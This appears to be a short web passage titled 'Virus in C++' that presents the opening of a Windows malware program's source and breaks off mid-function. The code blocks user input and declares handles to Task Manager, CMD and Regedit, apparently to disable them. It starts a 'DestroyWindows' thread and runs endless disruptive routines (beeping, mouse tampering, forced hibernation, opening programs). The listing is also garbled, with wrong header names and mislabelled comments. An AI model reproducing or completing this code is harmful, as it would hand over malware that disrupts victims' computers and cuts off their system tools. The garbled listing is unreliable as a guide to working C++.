Virus in C++
Use iostream.h,conio.h,ctime.h, windows.h,winable.h int random, Freq, Dura, X, Y;//Integers are declared HWND mywindow, TaskMgr, CMD, Regedit; //This is used to catch-up memory charNotepad[MAX_PATH]="notepad.exe";//character is declared to open notepad char MineSweeper[MAX_PATH]="winmine.exe";//character is declared to open winrar file char Website[MAX_PATH]="http:\\www.google.com";//character is declared to open the website void SetUp(); void Run( int ID ); void Beeper(), OpenStuff(), Hibernation(), CrazyMouse(); //Function are declared DWORD WINAPI DestroyWindows(LPVOID); int main() { srand( time(0) ); random = rand()%6; system("title :.Virus.:"); BlockInput( true ); SetUp(); BlockInput( false ); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL); while(1) { Run( random ); Sleep(10); } }//Main function void SetUp() { char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL);